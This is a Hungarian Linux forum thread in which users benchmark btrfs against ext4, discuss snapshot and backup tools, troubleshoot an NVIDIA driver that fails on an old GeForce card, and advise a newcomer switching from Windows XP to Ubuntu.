Nálam mindig a fájlműveletek rontják le nagyon a rendszer teljesítményét, merthogy a programok, amiket használok, sok-sok kis fájllal operálnak és a random írás/olvasás megfogja keményen a gépet. Egy SSD lehet megoldaná ezt, de baromi drága.
Ez a tömörítéses sebesség jól hangzik, de elbizonytalanodtam afelől, hogy nehezen tömöríthet binárisokra nem hatékonyabb, mint az ext4. Az utóbbi meg atomstabil, míg a btrfs azért hagyhat kívánni valót maga után.
Ezen felül szimplán érdekel a dolog, mert a mai fájlrendszerek nem mai darabok, elkel a frissítés már.
Hát, érzetre, végül is mondhatjuk, hogy kevésbé fogja meg a gépet másolásnál mint az ext4. De aztán lehet, hogy csak beképzeltem. Annyi biztos, hogy néhol azért lassabb, például a kemény linkes fájltörlés sebessége egyértelműen elmarad az ext4-étől. De azért így is használható, és bizonyára még fejlődni fog ezen a téren. Viszont összességében a funkciólistája is igen impozáns, úgyhogy maradok már ennél. Majd eldől, hogy mennyire stabil, most rábíztam az adataimat, remélem nem lesz belőle gond. Azért a fontosabb dolgok több helyen is megtalálhatóak. Snapshotkészítésben már nagyon otthon vagyok.
Amúgy Te is nyugodtan kipróbálhatod ám, csak azért mentsd el az adataidat előtte. Lényegében a konvertálás egy egyszerű, tapasztalataim szerint teljesen biztonságos folyamat. Ha nem válik be, akkor könnyedén vissza lehet állítani az eredeti állapotot, vagyis vissza lehet csinálni formázás nélkül ext4-re. -
A Debian.vdi fájlom például 12,7 GB, az Ubuntué 12,1, valamint ilyen 6-7-8-9 GB-osból van még összesen 9 db. Kis fájlok prezentálásához jó lesz a kicsomagolt kernel is, vagyis abból is több, ahogy mondtad múltkor. Ma már nem, de holnap akkor megejtem a mérést.
Amúgy mért érdekes annyira számodra a dolog? Tervezed, hogy az eredmények tükrében esetleg Te is átállsz eme modern fájlrendszer használatára?Az üres dd-s kép sem hülyeség, azt is beleveszem akkor. Amúgy ezeket a vdi képfájlokat bizonyára lehet tömöríteni bőven.
Nálam mindig a fájlműveletek rontják le nagyon a rendszer teljesítményét, merthogy a programok, amiket használok, sok-sok kis fájllal operálnak és a random írás/olvasás megfogja keményen a gépet. Egy SSD lehet megoldaná ezt, de baromi drága.
Ez a tömörítéses sebesség jól hangzik, de elbizonytalanodtam afelől, hogy nehezen tömöríthet binárisokra nem hatékonyabb, mint az ext4. Az utóbbi meg atomstabil, míg a btrfs azért hagyhat kívánni valót maga után.
Ezen felül szimplán érdekel a dolog, mert a mai fájlrendszerek nem mai darabok, elkel a frissítés már. -
Számomra csak azért érdekesek az eredményeid, mert a phoronix tesztjében tömörítés nélkül jöttek ki ilyenek, ellenben tömörítéssel látványosabb gyorsabb lett. Ez a stopper nem rossz ötlet, csak akkor jó nagy fájlok kellenek.
Wait: milyen fájlokat másolsz? Most gondolkozok, hogy ha már tömörítés, nem lehet az a baj, hogy olyasmit másolsz, amit már nem nagyon lehet tovább tömöríteni? Ergo a teljesítmény is a tömöríthetőség függvénye csak. Lehet csinálnod kéne egy baromi nagy csupa nullás fájlt dd-vel, és azt másolni.
A Debian.vdi fájlom például 12,7 GB, az Ubuntué 12,1, valamint ilyen 6-7-8-9 GB-osból van még összesen 9 db. Kis fájlok prezentálásához jó lesz a kicsomagolt kernel is, vagyis abból is több, ahogy mondtad múltkor. Ma már nem, de holnap akkor megejtem a mérést.
Amúgy mért érdekes annyira számodra a dolog? Tervezed, hogy az eredmények tükrében esetleg Te is átállsz eme modern fájlrendszer használatára?Az üres dd-s kép sem hülyeség, azt is beleveszem akkor. Amúgy ezeket a vdi képfájlokat bizonyára lehet tömöríteni bőven.
-
Igazából abban sem vagyok biztos, hogy a fájlrendszeren múlott a dolog ennél a tesztnél. Csak ki kellett választani az eszközt, amely fel sem volt csatolva. Viszont akkor meg fura az eredmény, mert ez azt jelentené, hogy a lemez elején lassabb valamelyest. Persze egy 20 GB-os, majd közvetlen mellette egy 100 GB-os partícióról van szó egy 1 TB-os merevlemezen, úgyhogy ez lehet mérési hiba is akár.
Amondó vagyok, hogy pontosabb képet kapnánk, ha egyszerűen stopperrel mérném a másolás sebességét, aztán kész.Számomra csak azért érdekesek az eredményeid, mert a phoronix tesztjében tömörítés nélkül jöttek ki ilyenek, ellenben tömörítéssel látványosabb gyorsabb lett. Ez a stopper nem rossz ötlet, csak akkor jó nagy fájlok kellenek.
Wait: milyen fájlokat másolsz? Most gondolkozok, hogy ha már tömörítés, nem lehet az a baj, hogy olyasmit másolsz, amit már nem nagyon lehet tovább tömöríteni? Ergo a teljesítmény is a tömöríthetőség függvénye csak. Lehet csinálnod kéne egy baromi nagy csupa nullás fájlt dd-vel, és azt másolni.
-
Kipróbáltam ezt a pts-es dolgot, de annyira nem vagyok elámulva tőle. Egyetlen értelmesnek mondható tesztet találtam még, itt vannak az eredmények:
hdparm Timed Disk Reads:
Ext4 - Average: 131.50 MB/s
Btrfs - Average: 135.80 MB/s(#28319) totyax: úgy véd, hogy ha véletlen kitörölsz valamit, akkor még vissza tudod állítani könnyedén. Mondjuk ez főleg akkor érdekes, ha nem használ valaki szemetest sem, mint pl. én a Krusaderrel. Múltkor egyszer egy rosszul kiadott parancs után nagyon is jól jött.
-
Kipróbáltam ezt a pts-es dolgot, de annyira nem vagyok elámulva tőle. Egyetlen értelmesnek mondható tesztet találtam még, itt vannak az eredmények:
hdparm Timed Disk Reads:
Ext4 - Average: 131.50 MB/s
Btrfs - Average: 135.80 MB/s(#28319) totyax: úgy véd, hogy ha véletlen kitörölsz valamit, akkor még vissza tudod állítani könnyedén. Mondjuk ez főleg akkor érdekes, ha nem használ valaki szemetest sem, mint pl. én a Krusaderrel. Múltkor egyszer egy rosszul kiadott parancs után nagyon is jól jött.
-
Attól még a tárolóban elérhetőek a régihez való driverek is (legalábbis szerintem, amíg kielégíthető a függősége). Ha a meghajtó telepítővel aktiváltad, akkor azt is rakja fel. Egy ilyenre szükséged lehet a hibaüzenetből ítélve:
1- cd /etc/X11 && sudo mv xorg.conf xorg.conf.backup && sudo nvidia-xconfig
2- gksu nvidia-settings
3- Állíts be valamit
4- 'Save to X configuration file' gombra katt
5- sudo chown felhasználói_neved /etc/X11/xorg.conf -
Mert a /home-ot nem menti, csak szinkronizálja. Gyakorlatilag kemény link, véletlen törlés elleni védelem. Helyet csak nagyon minimálisat foglal, akár több száz GB-nyi adatnál is. Ha nem használod a felesleges kernel eltávolítást, akkor egyszerűen kapcsold ki. A beállításaid megmaradnak a cucc frissítésekor is, nem kell aggódnod. Egyébként azért is van alapból bekapcsolva, mert hát a rendszer-visszaállítással vissza lehet állni egy korábbi állapotra ha gond lenne, ez a lényege. Egyébként meg minek kellene valakinek 28 féle régebbi kernel ugyebár. Egyáltalán, a beépített frissítőt sem muszáj használni, akkor biztosan nem lesz gond.
Azzal is kezdtem hogy kikapcsoltam
Mondjuk ezt a home szinkronizálást nem nagyon értem hogy véd, ha nem menti le a fájlokat...Amúgy jópofa proginak néz ki
-
Engedélyeztem az nvidia zárt meghajtót, azóta a következő üzenettel indul a Xubi-m:
Az Ubuntu gyenge grafikájú módban fut
A következő hiba történt. Szükség lehet beállításainak frissítésére ennek megoldásához.
(EE) NVIDIA(0): Failed to load the NVIDIA kernel module!
(EE) NVIDIA(0): *** Aborting ***
(EE) Screens(s) found, but none have a usable configuration.Már felvettem az x-swat ppa-t is, megfrissítettem mindent, de úgy tűnik hiába...
Asszem szopó van: az aktuális nvidia driver már nem támogatja a GeForce4 Ti 4200 kártyámat...
-
-
Nem archivál konkrétan mindent, de a telepített rendszeredet elmenti. Annyit, hogy vissza is lehessen a teljesen kitörölt rendszert állítani úgy, hogy az újfent működjön.
Szal a /home-on, meg pár cache-elt tartalmon kívül elment mindent. Vagyis majdnem, mert csak azokat a könyvtárakat, amelyek a Linux sajátjai. Célmeghajtót megadni nem lehet, mert muszáj, hogy adott helyre mentsen, ott a mentések mellett van más is. Tömöríteni meg azért nem lehet, mert bár egy mentés kevesebb helyet foglalna, de kettő már többet, és még jóval több időbe is tellene elkészíteni. Meg tallózni sem lehetne benne kézi visszaállításhoz.
A felesleges kernelek eltávolítása azért van alapból bekapcsolva, mert sokakat zavart, hogy csak gyűlnek és gyűlnek a kernelek, így leszedi őket frissítésnél. Persze csak a gyári kerneleknél, azoknál is a jelenleg használtak előző verzióit szedi le. -
-
Én a Rendszermenttel szoktam csinálni. Mivel Linux Minttet használsz, vagy GNOME főmenüt izzítasz be hozzá, vagy terminálban is ugyanolyan jól kezelhető, csak írd be, hogy
rendszerment
aztán ott már látsz mindent. Az első elkészítése viszonylag hosszadalmas, de aztán lerövidül ez az idő.Nagyon tetszik nekem ez a btrfs snaphot funkció. Tök olyan mint a kemény link (ala /home szinkron), csak éppen ha egy fájl tartalmán változtatunk, akkor a snapshotban a régi állapot megmarad. Na meg persze bármikor csatolható is ez a subvolume, akár az fstabba beírva is, nagyon király.
Ühüm, kösz
Mondjuk nem számítottam rá hogy mindent archivál, 12GB szabad helyemből a fele maradt. Célmeghajtót megadni esetleg nem lehet, hova archiváljon? Esetleg tömörítvénybe? A "felesleges kernel" eltávolítása szerintem durva hogy alapból be van kapcsolva. -
Próbálkoztam a GUI beüzemelésével is, de egyelőre nem jutottam semmire.
Az előbbit a saját könyvtáramban állva futtattam, az btrfs. Most átálltam ext4-es partícióra és ez lett:
AIO-Stress:
aio-stress [Test: Random Write]
Estimated Test Run-Time: 1 Minute
Expected Trial Run Count: 3
Started Run 1 @ 18:09:06
Started Run 2 @ 18:09:17
Started Run 3 @ 18:09:28
Test Results:
253.46
263.45
267.13
Average: 261.35 MB/s~16MB/s-mal lassabb.
-
Próbálkoztam a GUI beüzemelésével is, de egyelőre nem jutottam semmire.
Az előbbit a saját könyvtáramban állva futtattam, az btrfs. Most átálltam ext4-es partícióra és ez lett:
AIO-Stress:
aio-stress [Test: Random Write]
Estimated Test Run-Time: 1 Minute
Expected Trial Run Count: 3
Started Run 1 @ 18:09:06
Started Run 2 @ 18:09:17
Started Run 3 @ 18:09:28
Test Results:
253.46
263.45
267.13
Average: 261.35 MB/s -
Nah, letöltöm a PTS Desktop Live-ot, aztán azzal csak egyszerűbb lesz a tesztelgetés, abban van minden.
-
kovaax
őstag
Üdv!
Azon gondolkozok, hogy felrakok egy ubuntut a laptopra, mert az xp nagyon hamar belassul rajt (Fujitsu Siemens Amilo 1505). Csak lenne 1-2 kérdésem:
- Abev megy ubuntun?
- CfosSpeed-nek valami alternatívája van linux-ra?
- Egy sima ember, aki netezik, skypeozik, msn ezik és nem ért igazán a géphez az tudja majd kezelni?
- Office működésre bírható-e vagy csak az alternatíva van?Megy az Abev is.
Szerk.: Lassú voltam.
-
Siriusb
veterán
Üdv!
Azon gondolkozok, hogy felrakok egy ubuntut a laptopra, mert az xp nagyon hamar belassul rajt (Fujitsu Siemens Amilo 1505). Csak lenne 1-2 kérdésem:
- Abev megy ubuntun?
- CfosSpeed-nek valami alternatívája van linux-ra?
- Egy sima ember, aki netezik, skypeozik, msn ezik és nem ért igazán a géphez az tudja majd kezelni?
- Office működésre bírható-e vagy csak az alternatíva van?- abev: én is használom, a webstarttal simán felmegy, csak java legyen a gépen.
- ubuntu kiválóan alkalmas azok számára, akik először találkoznak linuxszal, használata könnyű. természetesen némi tanulást igényel (később pedig a windows elfelejtését )
- office wine-nal feltelepíthető, de átlagos célokra meg fog felelni az openoffice is. így legalább minden ingyenes és tiszta lesz a gépeden -
Csakénvagyok
őstag
-
Csakénvagyok
őstag
Egy kiöregedett Xpvel szemben a 9.10 Ubi fényévekkel jobb, ugyanazon a configon. Skype van (beta), MSNre meg ott a Pidgin (nem még rengeteg más alternatíva). Officenek van OOo. CFosSpeedre Wondershapert szokták ajánlani, az Abev-et meg nem ismerem, de kétlem hogy ne lenne alternatívája.
Én azt javaslom hogy elsőre tarsd meg az XPt is, mellé tedd fel az uborkát, majd szépen hozzászoksz, s egyre ritkábban kel windowst használnod Ubi helyett
-
Hát, ha leírod, hogy pontosan mit és hogyan kell vele csinálni, akkor jó, egyébként elég bonyolultnak találom a dolgot. Most így hirtelen futtattam egy AIO-Stresst (Random Write), aztán ez lett az eredmény:
AIO-Stress:
aio-stress [Test: Random Write]
Expected Trial Run Count: 3
Started Run 1 @ 17:40:49
Started Run 2 @ 17:41:01
Started Run 3 @ 17:41:12
Test Results:
273.58
279.13
280.63
Average: 277.78 MB/s
De, hogy most ezt hol, melyik lemezen végezte, vagy mi ez az eredmény, arról fogalmam sincs.Hát ott van a deb fájl, felrakod, a doksi meg itt van. Elég triviálisnak tűnik.
Az aio meg így rákeresve annyi, hogy ott tesztel, ahol futtatod. Szóval futtasd le egy btrfs és egy ext4 partíción, és meglátjuk.
![;]](http://cdn.rios.hu/dl/s/v1.gif)
), de legutolsó emlékeim szerint az csomagkezelő
Aktív témák
- Gitáros topic
- D1Rect: Nagy "hülyétkapokazapróktól" topik
- Counter-Strike: Global Offensive (CS:GO) / Counter-Strike 2 (CS2)
- Építő/felújító topik
- OTP Bank topic
- Thermal Grizzly által kupaktalanított processzor, csak most a kék térfélről
- OLED TV topic
- Gumi és felni topik
- Kormányok / autós szimulátorok topikja
- Házimozi belépő szinten
- További aktív témák...
- Game Pass Ultimate előfizetések 3 - 36 hónapig azonnali kézbesítéssel! 13 hónap ultimate - 45.000 ft
- Forza horizon 6 prémiumot vásárolnék
- Eladó jogtiszta, Windows 11/10, Office 2019/2021/2024, Fizikai és Digitális licencek, Számlával.
- Kaspersky, BitDefender, Avast és egyéb vírusírtó licencek a legolcsóbban, egyenesen a gyártóktól!
- Microsoft és egyéb dobozos és OEM szoftverek
- AKCIÓ Dell Latitude 5420 - i5 1145G7, 8-16GB RAM, SSD, jó akku, számla, 6 hó gar
- HIBÁTLAN iPhone 14 Plus 128GB Red-2 ÉV GARANCIA - Kártyafüggetlen, MS4877, 100% Akksi
- Samsung Galaxy S23 5G 128GB, Kártyafüggetlen, 1 Év Garanciával
- Dell Optiplex 5050 SFF,i7-7700,16GB DDR4,256GB M2 SSD+ 500GB 2.5" HDD,DVD,WIN11
- ÚJ 27% - Corsair iCUE SP120 RGB ELITE Triple (CO-9050109-WW) ARGB ventillátor szett!
Állásajánlatok
Cég: aiMotive Kft.
Város: Budapest
Cég: Laptopműhely Bt.
Város: Budapest